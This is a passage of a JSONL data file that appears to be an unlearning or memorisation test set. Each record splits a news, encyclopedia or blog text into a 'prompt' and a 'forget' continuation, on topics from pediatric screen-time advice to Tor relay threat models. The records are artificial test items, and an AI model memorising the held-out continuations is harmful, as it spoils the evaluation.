Genetic counselling may help you understand the risks of passing trimethylaminuria on to any children you have. Treatments for trimethylaminuria There's currently"}
{"prompt": "\" \" The AAP has realized that a \" just turn it off\" stance is not very realistic in the digital age. Thanasis Zovoilis/Getty The American Academy of Pediatrics (AAP) is changing its mind about \"screen time\" \u2013 or at least bringing its stance into the full-blown digital age. The impending revision of the AAP's policy statement, announced in October, is driven by an acknowledgment that its current screen-time guidelines, best known for nixing any screen time for children under 2 and limiting older kids and teenagers to two hours a day, are outdated. Some of the current advice predates", "forget": "widespread Internet use. \"The problem is that technology moves faster than science can study it,\" says Dr. Ari Brown, a practicing pediatrician and chair of the AAP Children, Adolescents and Media Leadership Work Group, via email. \"Our previous recommendations were made because we had enough health and developmental concerns about potential risk of TV use to advise parents about it.\" With schools eagerly implementing technology wherever funding allows, not to mention grade-school enrichment classes on coding, software that lets kids compose music on computers and strong anecdotal evidence that playing Minecraft can benefit kids with autism, espousing strict minimization ignores the obvious. Today's kids are \"digital natives.\" Technology is in their blood. The AAP's new view, summarized in \"Beyond 'turn it off': How to advise families on media use,\" sees TVs, computers, gaming systems, smartphones and tablets as mere tools. Time spent with them can be good for kids or bad for kids, depending on how they're used. The AAP made addressing children and media a top priority starting in 2012, a focus that culminated in the May 2015 \"Growing Up Digital\" symposium. The conference brought together experts on child development, social science, pediatrics, media, neuroscience and education, and called attention to the growing body of evidence supporting the potential (and potentially significant) benefits of screen time in child and adolescent development. At the symposium, social scientists presented data showing that when teens connect online, those peer connections can be \"significantly meaningful,\" and sometimes \"more supportive than their real life friendships,\" reports Brown. The implication, she says, is that \"there are some very positive [online] opportunities for acceptance and support as teens develop their identity and self-esteem.\" Other insights pointed to possible ways to strengthen digital media's teaching potential. Neuroscientists, she says, presented research showing that 2-year-olds learn novel words"}
{"prompt": "Last month, the Seattle Parks Department ordered the destruction of a play area designed for special needs kids, claiming its four-foot rope ladder, tire swing, and \"nest\" made of rope and bike tires were \"extreme dangers\" and \"hazardous conditions.\" That's an odd verdict: In 10 years of existence, no children were ever significantly injured on the play area equipment, according to Liz Bullard, who helped design the space. As she writes in Crosscut.com: These simple play features may seem ordinary, but...here children with cerebral palsy, autism and developmental delays are encouraged and assisted as needed to climb and swing alongside", "forget": "their typically developing peers. The joy is palpable. We complied with the order, but it has left a bitter taste in our mouths. Our kids have been robbed of the simple pleasure of climbing and swinging under a beautiful tree. The thing about kids with special needs is that they often have to spend a lot of time in less-than-fun institutions. Hospitals. Therapists' offices. Waiting rooms. The \"Wild Zone,\" as the play area was called, was specifically \"designed to provide relief from the highly controlled and often hyper-medicalized world our kids move in,\" writes Bullard. One mom of a child with special needs commented on a post about the city's order, \"This is a travesty!! How dare they steal the only play space in the Greater Seattle area, let alone the NW that is dedicated to creating a healthy play space for special kids where they aren't judged by their lesser abilities.\" Wrote another mom: \"The Play Garden is the best! My son attended preschool there for three years and I am so grateful for the Wild Zone. There was nothing dangerous about it. Nothing!\" Ah, but when you're a bureaucrat and you live in the world of what if thinking, danger is everywhere. Just imagine, \"what if someone got hurt?\" Look at the world that way and no play area wil seem safe enough. This outlook seems to be sweeping Washington state. Recall that just a few weeks ago the Richland School District decided to phase out all swings because what if a child got hurt on them? Too bad the bureaucrats never consider the reverse: What if kids never get a chance to climb a ladder, or hang from the monkey bars? What if kids with special needs know that after their doctor's appointment they will have to"}
{"prompt": "That\u2019s a massive amount of money and speaks to both the complexity of the U.S. corporate tax code and the extreme lengths companies will go to lower their tax bill. Apple, for instance, uses a subsidiary known as Apple Operations International (AOI) to hold most of its offshore profits, as a report from the Senate Permanent Subcommittee on Investigations explained last year. AOI is incorporated in Ireland, where the corporate tax rate is just 2 percent. Because of that, AOI avoids paying the U.S. corporate tax rate of 35 percent. But the Irish corporate tax code only applies to companies", "forget": "whose management and control reside in Ireland. It has nothing to do with where the entity is incorporated. Therefore, AOI\u2019s management and control is not located in Ireland, so it avoids the Irish corporate tax as well. The Citizens for Tax Justice report shows that Ireland is the seventh most popular tax haven for Fortune 500 companies. You\u2019ll see some other familiar names on the list: the Netherlands, the Cayman Islands, Bermuda and Switzerland. The 362 companies have nearly $2 trillion combined sitting overseas. Including Fortune 500 firms without subsidiaries in tax haven jurisdictions and non-Fortune 500 companies brings that to over $2 trillion. That money cannot be used to pay wages or invest in the United States. Companies cannot buy back shares or issue dividends with it. Apple even issued $17 billion in debt last year for dividend and buyback programs to avoid repatriating their overseas profits and paying the 35 percent corporate rate. This money could have provided a huge boost to the U.S. economy if companies had returned it to the United States. Instead, it sits overseas, collecting dust. While it\u2019s easy to denigrate the multinational firms for keeping the profits abroad, the corporate tax code also deserves blame. Democrats and Republicans both agree it needs to be reformed. The 35 percent rate is the highest in the developed world. The corporate tax code contains so many tax breaks that no rational company pays that rate. Instead, they hire teams of lawyers and use complicated tax strategies to lower their tax bill in any way they can. This complex system inherently favors those with the resources to hire teams of lawyers: big, rich companies. New, small firms are at a significant disadvantage. The corporate tax code isn\u2019t even doing a good job collecting revenue for the federal"}
{"prompt": "FILE - In this July 10, 2012 file photo, Suzanne Meredith, of Walpole, Mass., gases up her car at a Gulf station in Brookline, Mass. Reducing sulfur in gasoline and tightening emissions standards on cars beginning in 2017, as the Obama administration is proposing, would come with costs as well as rewards. (AP Photo/Steven Senne, File) WASHINGTON (AP) \u2014 Reducing sulfur in gasoline and tightening emissions standards on cars beginning in 2017, as the Obama administration is proposing, would come with costs as well as rewards. The cost at the pump for cleaner air across the country could be less", "forget": "than a penny or as high as 9 cents a gallon, depending on who is providing the estimate. An oil industry study says the proposed rule being unveiled Friday by the administration could increase gasoline prices by 6 cents to 9 cents a gallon. The Environmental Protection Agency estimates an increase of less than a penny and an additional $130 to the cost of a vehicle in 2025. The EPA is quick to add that the change aimed at cleaning up gasoline and automobile emissions would yield billions of dollars in health benefits by 2030 by slashing smog- and soot-forming pollution. Still, the oil industry, Republicans and some Democrats have pressed the EPA to delay the rule, citing higher costs. Environmentalists hailed the proposal as potentially the most significant in President Barack Obama's second term. The so-called Tier 3 standards would reduce sulfur in gasoline by more than 60 percent and reduce nitrogen oxides by 80 percent, by expanding across the country a standard already in place in California. For states, the regulation would make it easier to comply with health-based standards for the main ingredient in smog and soot. For automakers, the regulation allows them to sell the same autos in all 50 states. The Obama administration already has moved to clean up motor vehicles by adopting rules that will double fuel efficiency and putting in place the first standards to reduce the pollution from cars and trucks blamed for global warming. \"We know of no other air pollution control strategy that can achieve such substantial, cost-effective and immediate emission reductions,\" said Bill Becker, executive director of the National Association of Clean Air Agencies. Becker said the rule would reduce pollution equal to taking 33 million cars off the road. But the head of American Fuel and Petrochemical Manufacturers,"}
{"prompt": "A cash-strapped elementary school in Lakeland, FL, has turned to the local church to help out. Steve Comparato, the principal of Combee Elementary School, worried at how he was going to provide essential supplies for his students when his budget was cut by a third this year, was delighted when the First Baptist Church at the Mall \u201cadopted\u201d his school. The result? The church filled the school\u2019s resource room with $5000 worth of supplies; it also catered spaghetti dinners at evening school events, bought sneakers for needy kids, and provided math and English tutors. And in exchange? \u201cWe have inroads", "forget": "into public schools that we had not had before,\u201d says Pastor Dave McClamma. \u201cBy befriending the students, we have the opportunity to visit homes to talk to parents about Jesus Christ.\u201d McClamma added, \u201cAt Christmas, the school connected the church with parents who said they wouldn\u2019t mind being visited at home by First Baptist. The church brought gifts, food, and the gospel. Of about 30 families visited over two weekends in December, thirteen \u2018came to the Lord.\u2019\u201d Also according to McClamma, adopting Combee goes far beyond providing resources like school supplies. \u201cThe purpose is to show them the church cares, and that there is hope, and hope is found in Jesus Christ.\u201d \u201cIf they want to come in and help, who am I to say no?\u201d asks Steve Comparato, the principal. As I wrote here last week, there is a budget crisis in education going on right now. Public schools around the nation are desperate to come up with innovative ways to make money: the San Diego Unified School District is considering plastering its middle- and high-school gyms with corporate advertising, and thus bring in $30,000 to $50,000 a year per school; Manatee County, FL, just received a $20,000 check from a local cucumber grower with the idea of sponsoring and naming an elementary school engineering program; bake sales just don\u2019t cut it anymore. These may be pacts with the devil, but what about a pact with Jesus? There are plenty of people of faith who help those in need because they care about them deeply. There is no problem with churches, or any other faith-based groups, offering to help by donating funds or supplies, as long as that is all they are doing. But I believe that if religious groups only give that help with the intention of having"}
{"prompt": "Son of Jim and Tammy Faye Bakker Speaks Out Against NC Marriage Amendment Email Print Whatsapp Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Jay Bakker grew up in North Carolina in the limelight of his parents' Praise The Lord ministry before it crumbled in the 1980s after his father pled guilty to fraud charges. Now the young minister is opposing the state's efforts to pass a marriage amendment defining marriage as between one man and one woman. The tattooed-laden Bakker, 36, now lives in New York City and is the co-founder of Revolution Church, which meets on Sundays in Pete's", "forget": "Candy store, a bar. He was featured in a 2006 documentary \"One Punk Under God.\" Since he is no longer a resident of North Carolina, he cannot vote on the issue but still felt moved to join the efforts opposing it. On Sunday, Bakker led some 75 people in a rally against the marriage amendment. \"I ignored all these amendments being passed and passed until it hit my hometown and I was like\u2026When I heard about it, I called down here and offered to help,\" Bakker told WNCT News. North Carolina is one of three states where voters will decide how to define marriage. The May 8 election is generating substantial attention on both sides of the issue, but recent polls show that a majority of North Carolinians are expected to cast their ballots in favor of the amendment. A Public Policy Polling survey of 1,191 likely voters conducted in late March showed voters favored the amendment 58 to 38 percent. A similar poll conducted by SurveyUSA showed almost the same numbers. \"My parents taught me to love people across the board and always be open to people,\" said Bakker. \"They were always into equality and reaching out to the marginalized and things like that.\" The debate surrounding the amendment has become so heated that it has sparked vandalism against some churches that are speaking out in support of the issue. A sign in front of Tabernacle Baptist Church in Hickory, N.C. that reads \"Marriage Sunday April 22\" was vandalized late last week when someone painted over the sign, \"Hate Speech Sunday April 22.\" \"Well I just believe what the Lord says about the marriage amendment,\" church member Greg Sullins told the Hickory Daily Record. \"We don't hate people \u2013 we love them. But we serve a loving God who"}
{"prompt": "Tiny \"walking\" proteins could be used to investigate mechanical deformations in soft materials according to Hokkaido University researchers. The researchers employed a concept that is a part of the transportation network in cells. \"Walking\" filament-shaped proteins, such as kinesin, carry cargo on one of their ends while two foot-shaped structures on the other end move one \"foot\" in front of the other along a network of associated protein microtubules in the cells. The team aimed to test whether these walking proteins and their associated proteins could be used as a sensor for stretching and compressing a soft silicon-based material polydimethylsiloxane", "forget": "(PDMS) that is used, for example, in manufacturing contact lenses. First, they deposited kinesin motor proteins on the surface of the PDMS so that one end of the kinesin proteins was attached to the PDMS, while the other end remained free. Next, the team deposited fluorescent-microtubules on the kinesin-layered surface. The layered PDMS was then placed in a special stretch chamber that was observed under the microscope. When the team neither stretched nor compressed the PDMS, the microtubules moved randomly on the PDMS surface at a constant velocity. This movement effectively happens due to the kinesin proteins \"walking in place\" because they are attached to the surface of the PDMS. But as they move their \"feet\" along the free microtubules, the microtubules are forced to move around randomly on the material's surface. When the team stretched the PDMS, the microtubules moved faster and aligned themselves parallel to the stretching axis. The density of kinesin proteins on the surface also decreased as a result of the stretching. When the PDMS were compressed, however, the microtubules slowed down and aligned themselves perpendicular to the compression axis, while the density of kinesin proteins on the surface of the material increased. The team also tested the use of the microtubules as \"probes\" to detect the mechanical deformation of another soft material, polyurethane, a material commonly used in the manufacture of artificial skin and heart valves, and came up with similar results. \"Although further research is still required to prevent the denaturation of the proteins which occurs during the experiment, our present work should facilitate the elucidation of the surface science of soft materials in the future,\" the researchers say in their study published in the journal Nature Communications. Akira Kakugo, the lead author of the paper, further explains: \"since deforming soft materials provides environments"}
{"prompt": "The Sihuanaba, La Siguanaba, Cigua or Cegua is a supernatural character from Central American folklore. It is a shape-changing spirit that typically takes the form of an attractive, long haired woman seen from behind. She lures men away into danger before revealing her face to be that of a horse or, alternatively, a skull. The Siguanaba and its variants may have been brought to Latin America from Spain during the Colonial Period, used by the colonists as a means of exercising control over the indigenous and mestizo population.[1] Appearance [ edit ] When encountered, she is a beautiful woman who", "forget": "is either naked or dressed in flimsy white; she usually appears bathing in a public water tank, river, or other water source,[2] although she may also be found washing clothing.[3] She likes to lure lone men out late on dark, moonless nights, without letting them see her face at first.[4] She tempts such men away from their planned routes to lose them in deep canyons.[4] In Guatemala, the Siguanaba appears as a beautiful, seductive woman with very long hair. She will not reveal her face until the last moment, when it is revealed as either the face of a horse or, alternatively, a human skull.[5] If her victim (usually an unfaithful man) does not die of fear then he is driven mad by the sight.[6] From afar the Siguanaba can imitate the appearance of a man's girlfriend in order to lead him astray.[6] When appearing to children, the Siguanaba will take on the appearance of the child's mother in order to lure her victim into her grasp; once touched by the Siguanaba the child is driven mad and she will lead her victim into the wilderness to leave the child lost and insane.[7] Defence [ edit ] Traditional methods are said to ward off the Siguanaba. In the border regions between Guatemala and El Salvador, those who see the Siguanaba make the sign of the cross upon her or bite their machete, while simultaneously banishing both the evil spirit and the fear that grips the victim.[8] Etymology [ edit ] The word siguanaba or sihuanaba has its origin in the indigenous languages of Mesoamerica. Various words have been suggested as its source. In parts of Mexico the Siguanaba is known as macihuatli, a Nahuatl word that can be broken down to two elements; cihuatl (meaning \"woman\") and matlatl (meaning \"net\")."}
{"prompt": "\"Cinder block\" redirects here. For the American singer, see Cinder Block (musician) \"Breezeblocks\" redirects here. For the song by Alt+J, see Breezeblocks (song) An interior wall of painted CMUs A concrete masonry unit (CMU) is a standard size rectangular block used in building construction. CMUs are some of the most versatile building products available because of the wide variety of appearances that can be achieved using concrete masonry units.[1] Those that use cinders (fly ash or bottom ash) are called cinder blocks in the United States, breeze blocks (breeze is a synonym of ash)[2] in the United Kingdom, and hollow", "forget": "blocks in the Philippines. In New Zealand and Canada they are known as concrete blocks (a name common in the United States also). In New Zealand, they are also called construction blocks. In Australia they are also called Besser blocks and Besser bricks, because the Besser Company was a major supplier of machines that made concrete blocks. Clinker blocks use clinker as aggregate. In non-technical usage, the terms cinder block and breeze block are often generalized to cover all of these varieties. Composition [ edit ] Concrete blocks are made from cast concrete (e.g. Portland cement and aggregate, usually sand and fine gravel, for high-density blocks). Lower density blocks may use industrial wastes, such as fly ash or bottom ash,[3][4] as an aggregate.[5] Recycled materials, such as post-consumer glass, slag cement, or recycled aggregate, are often used in the composition of the blocks.[6] Use of recycled materials within blocks can create different appearances in the block, such as a terrazzo finish, and may help the finished structure earn LEED certification. Lightweight blocks can also be produced using autoclaved aerated concrete. Sizes and structure [ edit ] The use of blockwork allows structures to be built in the traditional masonry style with layers (or courses) of staggered blocks. Concrete blocks may be produced with hollow centers (cores) to reduce weight or improve insulation. Blocks come in modular sizes, with the most popular typically referred to (by their thickness) as \"4-inch\", \"6-inch\", \"8-inch\", and \"12-inch\". In the US, CMU blocks are nominally 16 in (410 mm) wide and 8 in (200 mm) long. Their actual dimensions are their nominal dimensions, minus \u215c in any direction (to allow for mortar joints regardless of their orientation as laid).[7] In Ireland and the UK, blocks are usually 440 mm \u00d7 215 mm \u00d7 100 mm"}
{"prompt": "[tor-relays] Towards a Tor Node Best Best Practices Document It's occurred to me that we have yet to provide any official recommendations with respect to best practices for operating Tor relays. This post is my attempt to define a reasonable threat model and use it to develop some recommendations. My plan is to post it here first, to subject it to review by the relay operator community. After operators have a chance to comment, the plan is to relocate the document to the Tor Wiki and/or a blog post. As always, to focus our thoughts, we start with the adversary's", "forget": "goals. Adversary Goals There is a significant difference between adversaries that can see inside of router-to-router TLS vs those that cannot. I believe this capability distinction governs the adversary goals in terms of compromising relays as opposed to merely externally observing them. Adversaries that can unwrap router TLS can perform every attack that an actual node can perform, at any location between the user and the node, and/or between the node and other nodes. In particular, adversaries that can see inside router TLS can perform tagging attacks (see https://lists.torproject.org/pipermail/tor-dev/2012-March/003361.html) as well as perform circuit-specific active and passive timing analysis. These attacks can be quite severe. An adversary that is able to obtain Guard identity keys is free to perform a tagging attack anywhere on the Internet. In other words, if the adversary is interested in monitoring a particular user, the adversary need only obtain the identity keys for that user's 3 guard nodes, and from that point on, the adversary will be able to transparently monitor everything that user does by way of using tagging to bias the users paths to connect only to surveilled exit nodes who also have had their identity keys compromised. Based on this distinction, it seems that some simple best practices can increase the costs of an adversary that wishes to compromise tor traffic. Let's now consider how the adversary goes about compromising router TLS. Attack Vectors There are two high-level vectors towards seeing inside node-to-node TLS (which uses ephemeral keys that are rotated daily and authenticated via the node's identity key). Both high-level vectors therefore revolve around node identity key theft. Attack Vector #1: One-Time Key Theft The one-time adversary is interested in performing a grab of keys and then operating transparently upstream afterwords. This adversary will take the form of a coercive request"}
{"prompt": "For much of his life, former South Carolina defensive back Andre Goodman had a purpose to blanket wide receivers and make tackles and interceptions. Now the 10-year NFL veteran, who will be introduced as part of the 2015 SEC Football Legends Class in December, has a different purpose as the Gamecocks' Director of Football Student-Athlete Development. \"My job has a lot to do with grooming players for life after football and helping them transition from high school to college, and then from college to the real world,\" Goodman said. \"We talk a lot about career development, job placement, time management", "forget": "and balancing your personal life with school, academics and your profession. We want the (student-athletes) to maintain that sense of balance once they leave the playing arena and enter into the real world.\" Goodman played cornerback for South Carolina from 1998-2001. He earned second-team All-SEC honors by the league's coaches as a senior and was named to the SEC Academic Honor Roll during his career. He was selected in the third round of the 2002 NFL draft by the Detroit Lions, and also played with the Miami Dolphins and Denver Broncos during his decade in the NFL. Now in his fourth year on the job with his alma mater, Goodman knows that a professional playing career is short, and that most student-athletes won't be playing professional football. \"Managing expectations and helping student-athletes remain realistic is key,\" Goodman said. \"It is tough, even if they do make it to the pros. They have to be realistic because it's a violent sport, and it doesn't take much to go from playing to not playing in the matter of just one play. Helping them become realistic is the toughest challenge, but I wouldn't have it any other way. I'm not here to kill their dreams. I'm here to give them tools and resources to help them transition.\" As he focuses on off-the-field activities of the student-athletes and serving as an important resource in balancing the demands of academics, athletics, community outreach, and their personal lives in their transition in and out of college athletics, Goodman noted that one of the most important factors for being successful in his role is trust. \"When they can actually sit down and have a conversation outside the game of football that they normally wouldn't have with someone else, it means a lot,\" Goodman said. \"It can be"}
{"prompt": "The objective Make a black box, a device which would record short clips from camera in loop overwriting oldest clips. That would produce constant stream of short movies which put together would make one long recording containing last 30minutes (or more \u2013 depending on storage capacity) of my riding. Among with the recording, telemetric data would be collected such as velocity, RPM, temperature, front and rear brake pressed, depressed, and turn signals, and maybe more. Then this data could be put on the video in overlay. The motorcycle Yamaha XJ6SA 2010. Identify by what means communication between the ECU and", "forget": "the dashboard is performed. Which cables are used and what is the protocol used? After inspecting the service manual for my bike I was able to eliminate wires which are used for other things (see picture), and I left with only one, which is connecting the dash, the ECU and the immobilizer. Other ones was for flashing some warning LEDs, gathering information from fuel pump, oil switch and so on. So the yellow-blue wire was my first guess and it was correct. On the ecuhacking forum, which was source of very helpful information, guys was talking about something called K-line. I believe it is something widely common in the automotive industry, and for certain it has bunch of ISO standards describing it, but hey, if this is only one wire, and data flowing inside is some kind of serial communication, I bet I could sniff it, and figure out without any standards, which are hard to find and get (there is so much of them, I\u2019ve got confused after few minutes of googling). Figure out how to interface this, make some circuit if needed. Again on the ecuhacing forum I\u2019ve found information that K-line has logic levels relative to 12V, where 0V is logic 0, and 12V logic 1. There has to be some voltage level converter if I want to connect some TTL stuff to it. On the forum some guys were using a L9637 chip which is described as \u201cISO 9141 INTERFACE\u201d by its datasheet. So I bought a few of these and connected it as follows : Later on I removed the 510 ohm pull up resistor, because after turning engine on there was error showing of on the dash. I guessed that could be this resistor, and it helped. Dunno what was wrong. Most difficult part"}
{"prompt": "NBN, British Telecom and turning back the clock NBN boss Bill Morrow recently highlighted that the company formerly known as NBN Co has instigated an information sharing scheme with UK\u2019s biggest telco British Telecom (BT). It\u2019s an informal agreement and while Morrow says it\u2019s all a friendly exchange of knowledge to bolster NBN\u2019s understanding of efficient network rollout and learning from BT\u2019s extraordinarily high rate of fibre to the node (FTTN) deployment, is the path forged by BT really worth following? Despite its achievements BT\u2019s performance can only be described as second-rate. Between 2005 and 2010 the telco spent about", "forget": "$20 billion on the 21st Century Network project that upgraded the core network and subsequently led to the commencement of an approximately $15 billion FTTN/VDSL2 rollout around 2010 that lasted until late 2014. BT is now rolling out \u201cfast, fibre optic broadband to homes and businesses in the UK\u201d and it is difficult to find any mention of anything other than fibre optics and all-fibre access networks on BT\u2019s website. BT\u2019s move to a focus on an all-fibre access network is unsurprising when you consider what BT has achieved after expending about $35 billion or roughly $10 billion less than what NBN is likely to spend on the Coalition\u2019s multi-technology mix (MTM) National Broadband Network. The 2014 Ofcom report (PDF) into UK fixed-line broadband performance states that the average UK residential fixed-line broadband speed was 22.8 Mbps at November 2014. What this means is that after spending about $35 billion (excluding OPEX over the period) the average UK residence has a broadband connection speed of less than 25/3 Mbps which is the US FCC\u2019s latest definition of broadband. Second-rate multi-technology mix Communications Minister Malcolm Turnbull has on many occasions highlighted BT\u2019s multi-technology mix broadband network as something that Australia should aspire to have. Yet industry analysts have pointed out time and again that BT\u2019s broadband network would not provide the UK with anything other than a ten year stop gap network that would be obsolete before it was finished. That scenario has subsequently come to pass, with BT now reacting to competition from all-fibre network providers by refocusing on providing all-fibre network solutions. In 2012 the former BT chief technology officer Peter Cochrane slammed BT\u2019s decision to rollout FTTN/VDSL2 describing it as \u201cone of the biggest mistakes humanity has made\u201d and \u201cimposes huge unreliability risks\u201d. And BT has been building"}
{"prompt": "I would have never, ever expected to be able to write a The Next Web blog post that involves my local library, but this story is just too crazy to not bring to your attention. It\u2019s not really related to tech, though, so bear with me. People with a healthy interest in fundamental freedoms and basic human rights have probably heard about SABAM, the Belgian collecting society for music royalties, which has become one of the global poster children for how outrageously out of touch with reality certain rightsholders groups appear to be. In the past, SABAM has sought to", "forget": "require Internet and hosting service providers to install filters that would prevent the illegal downloading of files. They lost that battle. Then, they wanted social networking companies to install monitoring, filtering or blocking systems to prevent illegal trading of digital music and other copyrighted material. They lost that battle. Don\u2019t expect those setbacks to make them back down in their quest to display a stunning amount of stupidity to the world, though. If you questioned the sanity of the folks over at SABAM before, now I hope you\u2019ll realize just how plain evil they really are. This morning, word got out in Belgian media that SABAM is spending time and resources to contact local libraries across the nation, warning them that they will start charging fees because the libraries engage volunteers to read books to kids. Volunteers. Who \u2013 again \u2013 READ BOOKS TO KIDS. Don\u2019t bother looking at the date: it\u2019s not April Fools Day just yet. Newspaper De Morgen reported this morning that the local library in Dilbeek (my hometown), as well as a handful of other libraries across Belgium, have already been contacted by SABAM about the ridiculous claim. Twice a month, the library in Dilbeek welcomes about 10 children to introduce them to the magical world of books. A representative of the library in question is quoted in the De Morgen report as saying there\u2019s no budget to compensate people who read to the kids, relying instead on volunteers (bless them). Obligatory feel-good photo of children reading a book \u2013 story continues below. SABAM got in touch with the library to let them know that it thinks this is unacceptable, however, and that they should start coughing up cash for the audacity to read stories from copyrighted books out loud. The library rep calculates that it"}
{"prompt": "12 May 2015 It happens to everyone. You get to the point where you have collected so much stuff in your \u201cno longer use/need\u201d pile that you decide it\u2019s time to high tail it all outta there. You start to go through your items to decide what you may want to sell, what is just plain trash and what to donate. But there is another category that is often overlooked and that is \u201cwhat is recyclable.\u201d Below are 5 things in your junk pile that are recyclable instead of dump worthy. 5 Things in Your Junk Pile that are Recyclable", "forget": "1. Glass Glass may seem like an obvious one, but many times people don\u2019t pay attention how many items made out of the glass they actually have and then if it\u2019s something that is old or cracked/chipped/broken they know it can\u2019t be sold or donated so they decide to simply toss it. But instead, remember items such as vases, glass from picture frames, saved wine bottles or drink ware should be recycled instead! 2. Electronics There are centers that will recycle any kind of electronics or appliances \u2013 even curling irons! Here at Fire Dawgs we have relationships with centers like these and will happily take your items to be recycled by them. Computers and even your old, half broken holiday lights will be taken and recycled! 3. Mattresses Mattresses are practically impossible to resell for obvious hygienic reasons and so many people are left wondering what to do with after their lifespan is done. While it may seem that a mattress contains too many different materials to be recycled, there are centers that have special saws to dismember your mattress and separate the wood, metal, foam and cloth to be recycled. 4. Trophies But why would you ever get rid of your 3rd place trophy for 5th grade basketball? While trophies and medals are cool as a kid, most people don\u2019t showcase them around the house once they are older and so instead they end up in a box somewhere for decade after decade. So instead of taking up storage space \u2013 or landfill space \u2013 be happy to know that they instead can be recycled! Centers break them down by melting them and or reusing them for new trophies. 5. Carpet & Rugs Stains, rips, pet hair \u2013 doesn\u2019t matter! Recycling centers will happily take your old carpet"}
{"prompt": "\u2018Dragon Ball Super\u2019 episode 77 preview trailer, spoilers: The universe\u2019s greatest martial arts tournament begins (Photo : Twitter/Kanzenshuu) Exciting times ahead as the New Type summaries, air dates and titles for \"Dragon Ball Super\" episodes 74 through 77 have been released. Warning: This article contains spoilers from the upcoming \"Dragon Ball Super\" episodes. Read to know more. The new scans have been released and Herms98 have translated the summaries and airdates for the upcoming episodes of the anime series. Advertisement \"Dragon Ball Super\" Episode 74 Synopsis, Title and Air date This episode is titled \"For the Sake of Those He", "forget": "Loves! The Indomitable Great Saiyaman\" and it is scheduled to air on Sunday, Jan. 15 on Fuji TV at 9 a.m. Japan time. \"Gohan's superhero identity \"Great Saiyaman\" is being made into a movie. Gohan is hired as the stunt double for Barry Karn, the mean-spirited star playing Great Saiyaman. While Gohan struggles with the film, the parasitic alien Watagash is up to no good on Earth. Watagash is lured by the darkness in people's hearts and infects them; the eviler they are, the more he increases their power,\" reads the synopsis. \"Dragon Ball Super\" Episode 75 Spoilers and Air date The title of this episode has not been revealed in the recently released spoilers. However, \"Dragon Ball Super\" episode 75 is expected to air on Jan. 22. \"Goku is bored without a training partner, so Chi Chi calls Gohan, who turns into Great Saiyaman and takes Goku on but...\" reads the synopsis. \"Dragon Ball Super\" Episode 76 Spoilers and Air date Episode 76 is scheduled to hit the airwaves on Sunday, Jan. 29, and the title is yet to be released. \"Kuririn is picked next as the bored Goku's training partner. He suggests they train together under the Turtle Hermit like the old times. As a part of their training, the Turtle Hermit orders them to go get the \"Paradise Grass\" herb from a forest. In the forest, they find Freeza, Majin Boo, Cell, and other old foes Goku and co. have fought,\" reads the translated synopsis. \"Dragon Ball Super\" Episode 77 Spoilers and Air date The title for episode 77 of \"Dragon Ball Super\" is not yet out, but we know that the episode will air on Feb. 5. \"When Goku goes to Bulma's house to train with Whis, he finds her belly has gotten big, and he"}
{"prompt": "This year, I started out with a goal of running a marathon (half, full, ultra and everything in between) every month. The first part of the year was more focused on bumping the miles so I could run the Big Basin 50K. The later part of the year was sustaining that with as many 50K\u2019s or marathons as my schedule would allow. I\u2019m a happy-go-lucky mid-pack runner, though every now and then I finish in the top 10%. Running a marathon, I used to think was all legs and there\u2019s some truth to it. But I think it\u2019s more than", "forget": "that. Running a Marathon I\u2019ll categorize my runs in four ways. First is the explorative, like when I\u2019m doing a route as part of the Bay Area Trail Running series. This involves charting a route, using Strava to map it out, taking pictures along the way, etc. Second is for fun, which is simply getting out on a trail or going for a run with friends with no pace, time target or training in mind. Third is intervals, which are short focused fast runs as I describe in three ways to increase running stamina. And that brings me to the fourth one, racing. Once you build up your endurance to run 15 to 20 miles at a comfortable pace, I think two things happen. First your body is obviously conditioned to take on that distance. Second and an important one at that, is you become very aware of the needs of your body. When to push it, when to back off, what and when to eat/drink, what to carry, etc. And this is a never ending learning process that has nothing to do with just your legs. My wife calls it PRS (pre-race stress), but I do tend to get a little too obsessive before a race. I have a Nathan 20oz hand-held, an Amphipod waist and an SJ Ultra Vest and the choice of what I carry really depends on the elevation profile, location of the aid stations and the weather on the day of the race. Lately, I\u2019ve become very picky about going as light as I can and getting away with it. If I\u2019m running a marathon organized by Inside Trail Racing, for example, I don\u2019t have to carry any Clif Shot Gels or Succeed S Caps, since I know they have \u2019em at the aid station."}
{"prompt": "Sheffield United Football Club announces today (Tuesday) that HRH Prince Abdullah bin Mosaad bin Abdulaziz Al Saud has become joint owner of the Club. Click here to download an Arabic version of this announcement. Prince Abdullah has secured a 50% interest in Blades Leisure Ltd, the holding company for Sheffield United FC, in return for which he will invest substantial new capital into the club with the aim of working with current owner Kevin McCabe and his family to achieve the Blades' return to the Premier League as quickly as possible. The Prince becomes Co-Chairman with Kevin McCabe of Blades", "forget": "Leisure and Sheffield United. Prince Abdullah, aged 47, is a grandson of the founder of the Kingdom of Saudi Arabia, King Abdulaziz. He is a passionate football supporter and is former President of Al Hilal FC, the largest and most successful club in Saudi Arabia. He is also Chairman of Saudi Arabia's Football Privatisation Committee. Prince Abdullah is a prominent Saudi businessman and industrialist. He is the founder and Chairman of the publicly-listed Saudi Paper Manufacturing Group, the largest paper tissue manufacturer in the Middle East. He is active in other fields in the services and investments sectors in Saudi Arabia, and internationally. He travels extensively and works with other prominent businessmen from around the world to promote trade, goodwill and understanding through sport between Saudi Arabia and other countries. Prince Abdullah said: \"I am delighted to invest in such a sensibly-organised, family and community club with a great history and heritage. Joining Sheffield United FC at a time close to its 125th year in existence is significant to me and, like Kevin, I am determined to see it achieve its goals and look forward to working with the whole Blades community. However, money will be spent judiciously, and in any case we must comply with the Salary Cost Management Protocol.\" Kevin McCabe said: \"We are thrilled to be building this new partnership for Sheffield United with Prince Abdullah, who shares our vision for the Blades to join the top tier of English football. The McCabe family remains wholly committed and over the past 10 years has invested more than \u00a390 million in rebuilding our fine and proud Club, which now has a top-class stadium, academy and junior development centre.\" The boards will also see new directors in Abdulraham Bin Abdullah (the Prince's son), James Phipps (the Prince's principal advisor)"}
